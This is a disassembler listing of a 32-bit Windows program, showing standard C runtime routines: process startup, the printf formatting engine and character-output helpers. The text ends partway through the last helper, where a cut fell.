sub_4198E4 proc near ; DATA XREF: .ex_cod:off_4A301Co
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_30 = dword ptr -30h
var_2C = word ptr -2Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4236A8
push offset sub_41F4A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
mov [ebp+var_18], esp
call dword_4231A0 ; GetVersion
xor edx, edx
mov dl, ah
mov dword_4894C4, edx
mov ecx, eax
and ecx, 0FFh
mov dword_4894C0, ecx
shl ecx, 8
add ecx, edx
mov dword_4894BC, ecx
shr eax, 10h
mov dword_4894B8, eax
xor esi, esi
push esi
call sub_41A9E4
pop ecx
test eax, eax
jnz short loc_419950
push 1Ch
call sub_4199FF
pop ecx
loc_419950: ; CODE XREF: sub_4198E4+62j
mov [ebp+var_4], esi
call sub_41F2EA
call dword_42319C ; GetCommandLineA
mov dword_48AB2C, eax
call sub_41F1B8
mov dword_4894F8, eax
call sub_41EF6B
call sub_41EEB2
call sub_4197B8
mov [ebp+var_30], esi
lea eax, [ebp+var_5C]
push eax
call dword_423198 ; GetStartupInfoA
call sub_41EE5A
mov [ebp+var_64], eax
test byte ptr [ebp+var_30], 1
jz short loc_41999D
movzx eax, [ebp+var_2C]
jmp short loc_4199A0
; ---------------------------------------------------------------------------
loc_41999D: ; CODE XREF: sub_4198E4+B1j
push 0Ah
pop eax
loc_4199A0: ; CODE XREF: sub_4198E4+B7j
push eax
push [ebp+var_64]
push esi
push esi
call dword_423100 ; GetModuleHandleA
push eax
call sub_40E48A
mov [ebp+var_60], eax
push eax
call sub_4197E5
mov eax, [ebp+var_14]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp+var_68], ecx
push eax
push ecx
call sub_41ECD6
pop ecx
pop ecx
retn
sub_4198E4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call sub_4197F6
; =============== S U B R O U T I N E =======================================
sub_4199DA proc near ; CODE XREF: sub_418382+16p
; sub_41EEB2+4Ep ...
arg_0 = dword ptr 4
cmp dword_489500, 1
jnz short loc_4199E8
call sub_41F578
loc_4199E8: ; CODE XREF: sub_4199DA+7j
push [esp+arg_0]
call sub_41F5B1
push 0FFh
call off_438A70
pop ecx
pop ecx
retn
sub_4199DA endp
; =============== S U B R O U T I N E =======================================
sub_4199FF proc near ; CODE XREF: sub_4198E4+66p
arg_0 = dword ptr 4
cmp dword_489500, 1
jnz short loc_419A0D
call sub_41F578
loc_419A0D: ; CODE XREF: sub_4199FF+7j
push [esp+arg_0]
call sub_41F5B1
pop ecx
push 0FFh
call dword_42314C ; ExitProcess
retn
sub_4199FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419A23 proc near ; CODE XREF: sub_416FB6+46p
; sub_41752A+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_419B2C
test al, 40h
jnz loc_419B2C
test al, 1
jz short loc_419A5B
and dword ptr [esi+4], 0
test al, 10h
jz loc_419B2C
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_419A5B: ; CODE XREF: sub_419A23+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_419A95
cmp esi, offset dword_43B1B8
jz short loc_419A83
cmp esi, offset dword_43B1D8
jnz short loc_419A8E
loc_419A83: ; CODE XREF: sub_419A23+56j
push ebx
call sub_41F748
test eax, eax
pop ecx
jnz short loc_419A95
loc_419A8E: ; CODE XREF: sub_419A23+5Ej
push esi
call sub_41F704
pop ecx
loc_419A95: ; CODE XREF: sub_419A23+4Ej
; sub_419A23+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_419B02
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_419AC5
push edi
push eax
push ebx
call sub_41EAC2
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_419AF8
; ---------------------------------------------------------------------------
loc_419AC5: ; CODE XREF: sub_419A23+90j
cmp ebx, 0FFFFFFFFh
jz short loc_419AE0
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_48A7E0[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_419AE5
; ---------------------------------------------------------------------------
loc_419AE0: ; CODE XREF: sub_419A23+A5j
mov eax, offset dword_43B100
loc_419AE5: ; CODE XREF: sub_419A23+BBj
test byte ptr [eax+4], 20h
jz short loc_419AF8
push 2
push 0
push ebx
call sub_41E217
add esp, 0Ch
loc_419AF8: ; CODE XREF: sub_419A23+A0j
; sub_419A23+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_419B16
; ---------------------------------------------------------------------------
loc_419B02: ; CODE XREF: sub_419A23+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_41EAC2
add esp, 0Ch
mov [ebp+arg_4], eax
loc_419B16: ; CODE XREF: sub_419A23+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_419B22
or dword ptr [esi+0Ch], 20h
jmp short loc_419B31
; ---------------------------------------------------------------------------
loc_419B22: ; CODE XREF: sub_419A23+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_419B34
; ---------------------------------------------------------------------------
loc_419B2C: ; CODE XREF: sub_419A23+10j
; sub_419A23+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_419B31: ; CODE XREF: sub_419A23+FDj
or eax, 0FFFFFFFFh
loc_419B34: ; CODE XREF: sub_419A23+107j
pop esi
pop ebx
pop ebp
retn
sub_419A23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B38 proc near ; CODE XREF: sub_416FB6+29p
; sub_41752A+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_41A251
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_419B6C
; ---------------------------------------------------------------------------
loc_419B64: ; CODE XREF: sub_419B38+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_419B6C: ; CODE XREF: sub_419B38+2Aj
cmp [ebp+var_14], edx
jl loc_41A251
cmp bl, 20h
jl short loc_419B8D
cmp bl, 78h
jg short loc_419B8D
movsx eax, bl
mov al, [eax+423694h]
and eax, 0Fh
jmp short loc_419B8F
; ---------------------------------------------------------------------------
loc_419B8D: ; CODE XREF: sub_419B38+40j
; sub_419B38+45j
xor eax, eax
loc_419B8F: ; CODE XREF: sub_419B38+53j
movsx eax, byte_4236B4[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_41A240 ; default
jmp off_41A259[eax*4] ; switch jump
loc_419BAD: ; DATA XREF: .data:off_41A259o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 00419BA6 case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_41A240 ; default
; ---------------------------------------------------------------------------
loc_419BC8: ; CODE XREF: sub_419B38+6Ej
; DATA XREF: .data:off_41A259o
movsx eax, bl ; jumptable 00419BA6 case 2
sub eax, 20h
jz short loc_419C0B
sub eax, 3
jz short loc_419C02
sub eax, 8
jz short loc_419BF9
dec eax
dec eax
jz short loc_419BF0
sub eax, 3
jnz loc_41A240 ; default
or [ebp+var_4], 8
jmp loc_41A240 ; default
; ---------------------------------------------------------------------------
loc_419BF0: ; CODE XREF: sub_419B38+A4j
or [ebp+var_4], 4
jmp loc_41A240 ; default
; ---------------------------------------------------------------------------
loc_419BF9: ; CODE XREF: sub_419B38+A0j
or [ebp+var_4], 1
jmp loc_41A240 ; default
; ---------------------------------------------------------------------------
loc_419C02: ; CODE XREF: sub_419B38+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_41A240 ; default
; ---------------------------------------------------------------------------
loc_419C0B: ; CODE XREF: sub_419B38+96j
or [ebp+var_4], 2
jmp loc_41A240 ; default
; ---------------------------------------------------------------------------
loc_419C14: ; CODE XREF: sub_419B38+6Ej
; DATA XREF: .data:off_41A259o
cmp bl, 2Ah ; jumptable 00419BA6 case 3
jnz short loc_419C3C
lea eax, [ebp+arg_8]
push eax
call sub_41A317
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_41A240 ; default
or [ebp+var_4], 4
neg eax
loc_419C34: ; CODE XREF: sub_419B38+111j
mov [ebp+var_20], eax
jmp loc_41A240 ; default
; ---------------------------------------------------------------------------
loc_419C3C: ; CODE XREF: sub_419B38+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_419C34
; ---------------------------------------------------------------------------
loc_419C4B: ; CODE XREF: sub_419B38+6Ej
; DATA XREF: .data:off_41A259o
mov [ebp+var_10], edx ; jumptable 00419BA6 case 4
jmp loc_41A240 ; default
; ---------------------------------------------------------------------------
loc_419C53: ; CODE XREF: sub_419B38+6Ej
; DATA XREF: .data:off_41A259o
cmp bl, 2Ah ; jumptable 00419BA6 case 5
jnz short loc_419C76
lea eax, [ebp+arg_8]
push eax
call sub_41A317
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_41A240 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_41A240 ; default
; ---------------------------------------------------------------------------
loc_419C76: ; CODE XREF: sub_419B38+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_41A240 ; default
; ---------------------------------------------------------------------------
loc_419C88: ; CODE XREF: sub_419B38+6Ej
; DATA XREF: .data:off_41A259o
cmp bl, 49h ; jumptable 00419BA6 case 6
jz short loc_419CBB
cmp bl, 68h
jz short loc_419CB2
cmp bl, 6Ch
jz short loc_419CA9
cmp bl, 77h
jnz loc_41A240 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_41A240 ; default
; ---------------------------------------------------------------------------
loc_419CA9: ; CODE XREF: sub_419B38+15Dj
or [ebp+var_4], 10h
jmp loc_41A240 ; default
; ---------------------------------------------------------------------------
loc_419CB2: ; CODE XREF: sub_419B38+158j
or [ebp+var_4], 20h
jmp loc_41A240 ; default
; ---------------------------------------------------------------------------
loc_419CBB: ; CODE XREF: sub_419B38+153j
cmp byte ptr [edi], 36h
jnz short loc_419CD4
cmp byte ptr [edi+1], 34h
jnz short loc_419CD4
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_41A240 ; default
; ---------------------------------------------------------------------------
loc_419CD4: ; CODE XREF: sub_419B38+186j
; sub_419B38+18Cj
mov [ebp+var_30], edx
loc_419CD7: ; CODE XREF: sub_419B38+6Ej
; DATA XREF: .data:off_41A259o
mov ecx, off_438A80 ; jumptable 00419BA6 case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_419D03
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41A279
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_419D03: ; CODE XREF: sub_419B38+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41A279
add esp, 0Ch
jmp loc_41A240 ; default
; ---------------------------------------------------------------------------
loc_419D1B: ; CODE XREF: sub_419B38+6Ej
; DATA XREF: .data:off_41A259o
movsx eax, bl ; jumptable 00419BA6 case 7
cmp eax, 67h
jg loc_419F43
cmp eax, 65h
jge loc_419DC6
cmp eax, 58h
jg loc_419E24
jz loc_419FB7
sub eax, 43h
jz loc_419DE7
dec eax
dec eax
jz short loc_419DBC
dec eax
dec eax
jz short loc_419DBC
sub eax, 0Ch
jnz loc_41A142
test word ptr [ebp+var_4], 830h
jnz short loc_419D65
or byte ptr [ebp+var_4+1], 8
loc_419D65: ; CODE XREF: sub_419B38+227j
; sub_419B38+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_419D72
mov esi, 7FFFFFFFh
loc_419D72: ; CODE XREF: sub_419B38+233j
lea eax, [ebp+arg_8]
push eax
call sub_41A317
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_419F8B
test ecx, ecx
jnz short loc_419D9A
mov ecx, off_438A7C
mov [ebp+var_8], ecx
loc_419D9A: ; CODE XREF: sub_419B38+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_419DA3: ; CODE XREF: sub_419B38+282j
mov edx, esi
dec esi
test edx, edx
jz loc_419F82
cmp word ptr [eax], 0
jz loc_419F82
inc eax
inc eax
jmp short loc_419DA3
; ---------------------------------------------------------------------------
loc_419DBC: ; CODE XREF: sub_419B38+212j
; sub_419B38+216j
mov [ebp+var_34], 1
add bl, 20h
loc_419DC6: ; CODE XREF: sub_419B38+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_419EAA
mov [ebp+var_10], 6
jmp loc_419EB8
; ---------------------------------------------------------------------------
loc_419DE7: ; CODE XREF: sub_419B38+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_419DF3
or byte ptr [ebp+var_4+1], 8
loc_419DF3: ; CODE XREF: sub_419B38+2B5j
; sub_419B38+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_419E3A
call sub_41A334
push eax
lea eax, [ebp+var_248]
push eax
call sub_41F827
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_419E4D
mov [ebp+var_28], 1
jmp short loc_419E4D
; ---------------------------------------------------------------------------
loc_419E24: ; CODE XREF: sub_419B38+1FBj
sub eax, 5Ah
jz short loc_419E5B
sub eax, 9
jz short loc_419DF3
dec eax
jz loc_41A01D
jmp loc_41A142
; ---------------------------------------------------------------------------
loc_419E3A: ; CODE XREF: sub_419B38+2C5j
call sub_41A317
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_419E4D: ; CODE XREF: sub_419B38+2E1j
; sub_419B38+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_41A142
; ---------------------------------------------------------------------------
loc_419E5B: ; CODE XREF: sub_419B38+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_41A317
test eax, eax
pop ecx
jz short loc_419E9C
mov ecx, [eax+4]
test ecx, ecx
jz short loc_419E9C
test byte ptr [ebp+var_4+1], 8
jz short loc_419E8D
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_41A142
; ---------------------------------------------------------------------------
loc_419E8D: ; CODE XREF: sub_419B38+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_41A13F
; ---------------------------------------------------------------------------
loc_419E9C: ; CODE XREF: sub_419B38+32Fj
; sub_419B38+336j
mov eax, off_438A78
mov [ebp+var_8], eax
push eax
jmp loc_419F38
; ---------------------------------------------------------------------------
loc_419EAA: ; CODE XREF: sub_419B38+29Dj
jnz short loc_419EB8
cmp bl, 67h
jnz short loc_419EB8
mov [ebp+var_10], 1
loc_419EB8: ; CODE XREF: sub_419B38+2AAj
; sub_419B38:loc_419EAAj ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_43ADE0
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_419F0A
cmp [ebp+var_10], 0
jnz short loc_419F0A
lea eax, [ebp+var_248]
push eax
call off_43ADEC
pop ecx
loc_419F0A: ; CODE XREF: sub_419B38+3BCj
; sub_419B38+3C2j
cmp bl, 67h
jnz short loc_419F21
test esi, esi
jnz short loc_419F21
lea eax, [ebp+var_248]
push eax
call off_43ADE4
pop ecx
loc_419F21: ; CODE XREF: sub_419B38+3D5j
; sub_419B38+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_419F37
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_419F37: ; CODE XREF: sub_419B38+3F0j
push edi
loc_419F38: ; CODE XREF: sub_419B38+36Dj
call sub_4177B0
pop ecx
jmp loc_41A13F
; ---------------------------------------------------------------------------
loc_419F43: ; CODE XREF: sub_419B38+1E9j
sub eax, 69h
jz loc_41A01D
sub eax, 5
jz loc_419FF3
dec eax
jz loc_419FE0
dec eax
jz short loc_419FB0
sub eax, 3
jz loc_419D65
dec eax
dec eax
jz loc_41A021
sub eax, 3
jnz loc_41A142
mov [ebp+var_2C], 27h
jmp short loc_419FBE
; ---------------------------------------------------------------------------
loc_419F82: ; CODE XREF: sub_419B38+270j
; sub_419B38+27Aj
sub eax, ecx
sar eax, 1
jmp loc_41A13F
; ---------------------------------------------------------------------------
loc_419F8B: ; CODE XREF: sub_419B38+24Fj
test ecx, ecx
jnz short loc_419F98
mov ecx, off_438A78
mov [ebp+var_8], ecx
loc_419F98: ; CODE XREF: sub_419B38+455j
mov eax, ecx
loc_419F9A: ; CODE XREF: sub_419B38+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_419FA9
cmp byte ptr [eax], 0
jz short loc_419FA9
inc eax
jmp short loc_419F9A
; ---------------------------------------------------------------------------
loc_419FA9: ; CODE XREF: sub_419B38+467j
; sub_419B38+46Cj
sub eax, ecx
jmp loc_41A13F
; ---------------------------------------------------------------------------
loc_419FB0: ; CODE XREF: sub_419B38+425j
mov [ebp+var_10], 8
loc_419FB7: ; CODE XREF: sub_419B38+201j
mov [ebp+var_2C], 7
loc_419FBE: ; CODE XREF: sub_419B38+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_41A028
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_41A028
; ---------------------------------------------------------------------------
loc_419FE0: ; CODE XREF: sub_419B38+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_41A028
or byte ptr [ebp+var_4+1], 2
jmp short loc_41A028
; ---------------------------------------------------------------------------
loc_419FF3: ; CODE XREF: sub_419B38+417j
lea eax, [ebp+arg_8]
push eax
call sub_41A317
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_41A00C
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_41A011
; ---------------------------------------------------------------------------
loc_41A00C: ; CODE XREF: sub_419B38+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_41A011: ; CODE XREF: sub_419B38+4D2j
mov [ebp+var_28], 1
jmp loc_41A240 ; default
; ---------------------------------------------------------------------------
loc_41A01D: ; CODE XREF: sub_419B38+2F7j
; sub_419B38+40Ej
or [ebp+var_4], 40h
loc_41A021: ; CODE XREF: sub_419B38+432j
mov [ebp+var_C], 0Ah
loc_41A028: ; CODE XREF: sub_419B38+491j
; sub_419B38+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_41A03A
lea eax, [ebp+arg_8]
push eax
call sub_41A324
pop ecx
jmp short loc_41A07B
; ---------------------------------------------------------------------------
loc_41A03A: ; CODE XREF: sub_419B38+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_41A061
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41A056
call sub_41A317
pop ecx
movsx eax, ax
loc_41A053: ; CODE XREF: sub_419B38+527j
; sub_419B38+539j
cdq
jmp short loc_41A07B
; ---------------------------------------------------------------------------
loc_41A056: ; CODE XREF: sub_419B38+510j
call sub_41A317
pop ecx
movzx eax, ax
jmp short loc_41A053
; ---------------------------------------------------------------------------
loc_41A061: ; CODE XREF: sub_419B38+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41A073
call sub_41A317
pop ecx
jmp short loc_41A053
; ---------------------------------------------------------------------------
loc_41A073: ; CODE XREF: sub_419B38+531j
call sub_41A317
pop ecx
xor edx, edx
loc_41A07B: ; CODE XREF: sub_419B38+500j
; sub_419B38+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_41A09C
test edx, edx
jg short loc_41A09C
jl short loc_41A08B
test eax, eax
jnb short loc_41A09C
loc_41A08B: ; CODE XREF: sub_419B38+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_41A0A0
; ---------------------------------------------------------------------------
loc_41A09C: ; CODE XREF: sub_419B38+547j
; sub_419B38+54Bj ...
mov esi, eax
mov edi, edx
loc_41A0A0: ; CODE XREF: sub_419B38+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_41A0A9
and edi, 0
loc_41A0A9: ; CODE XREF: sub_419B38+56Cj
cmp [ebp+var_10], 0
jge short loc_41A0B8
mov [ebp+var_10], 1
jmp short loc_41A0BC
; ---------------------------------------------------------------------------
loc_41A0B8: ; CODE XREF: sub_419B38+575j
and [ebp+var_4], 0FFFFFFF7h
loc_41A0BC: ; CODE XREF: sub_419B38+57Ej
mov eax, esi
or eax, edi
jnz short loc_41A0C6
and [ebp+var_1C], 0
loc_41A0C6: ; CODE XREF: sub_419B38+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_41A0CC: ; CODE XREF: sub_419B38+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_41A0DC
mov eax, esi
or eax, edi
jz short loc_41A117
loc_41A0DC: ; CODE XREF: sub_419B38+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_418ED0
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_418F50
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_41A10D
add ebx, [ebp+var_2C]
loc_41A10D: ; CODE XREF: sub_419B38+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_41A0CC
; ---------------------------------------------------------------------------
loc_41A117: ; CODE XREF: sub_419B38+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_41A142
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_41A135
test eax, eax
jnz short loc_41A142
loc_41A135: ; CODE XREF: sub_419B38+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_41A13F: ; CODE XREF: sub_419B38+35Fj
; sub_419B38+406j ...
mov [ebp+var_C], eax
loc_41A142: ; CODE XREF: sub_419B38+21Bj
; sub_419B38+2FDj ...
cmp [ebp+var_28], 0
jnz loc_41A240 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_41A17A
test bh, 1
jz short loc_41A15F
mov [ebp+var_16], 2Dh
jmp short loc_41A173
; ---------------------------------------------------------------------------
loc_41A15F: ; CODE XREF: sub_419B38+61Fj
test bl, 1
jz short loc_41A16A
mov [ebp+var_16], 2Bh
jmp short loc_41A173
; ---------------------------------------------------------------------------
loc_41A16A: ; CODE XREF: sub_419B38+62Aj
test bl, 2
jz short loc_41A17A
mov [ebp+var_16], 20h
loc_41A173: ; CODE XREF: sub_419B38+625j
; sub_419B38+630j
mov [ebp+var_1C], 1
loc_41A17A: ; CODE XREF: sub_419B38+61Aj
; sub_419B38+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_41A19A
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41A2AE
add esp, 10h
loc_41A19A: ; CODE XREF: sub_419B38+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_41A2DF
add esp, 10h
test bl, 8
jz short loc_41A1CC
test bl, 4
jnz short loc_41A1CC
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_41A2AE
add esp, 10h
loc_41A1CC: ; CODE XREF: sub_419B38+67Bj
; sub_419B38+680j
cmp [ebp+var_24], 0
jz short loc_41A213
cmp [ebp+var_C], 0
jle short loc_41A213
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_41A1E1: ; CODE XREF: sub_419B38+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_41F827
pop ecx
test eax, eax
pop ecx
jle short loc_41A228
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_41A2DF
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_41A1E1
jmp short loc_41A228
; ---------------------------------------------------------------------------
loc_41A213: ; CODE XREF: sub_419B38+698j
; sub_419B38+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_41A2DF
add esp, 10h
loc_41A228: ; CODE XREF: sub_419B38+6BCj
; sub_419B38+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_41A240 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41A2AE
add esp, 10h
loc_41A240: ; CODE XREF: sub_419B38+68j
; sub_419B38+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_419B64
loc_41A251: ; CODE XREF: sub_419B38+1Fj
; sub_419B38+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_419B38 endp
; ---------------------------------------------------------------------------
off_41A259 dd offset loc_419CD7 ; DATA XREF: sub_419B38+6Er
dd offset loc_419BAD ; jump table for switch statement
dd offset loc_419BC8
dd offset loc_419C14
dd offset loc_419C4B
dd offset loc_419C53
dd offset loc_419C88
dd offset loc_419D1B
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A279 proc near ; CODE XREF: sub_419B38+1BDp
; sub_419B38+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_41A292
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_41A29D
; ---------------------------------------------------------------------------
loc_41A292: ; CODE XREF: sub_41A279+9j
push ecx
push [ebp+arg_0]
call sub_419A23
pop ecx
pop ecx
loc_41A29D: ; CODE XREF: sub_41A279+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_41A2AA
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41A2AA: ; CODE XREF: sub_41A279+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_41A279 endp
; =============== S U B R O U T I N E =======================================
sub_41A2AE proc near ; CODE XREF: sub_419B38+65Ap
; sub_419B38+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_41A2DC
mov esi, [esp+8+arg_C]
loc_41A2BF: ; CODE XREF: sub_41A2AE+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_41A279
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_41A2DC
mov eax, edi
dec edi
test eax, eax
jg short loc_41A2BF
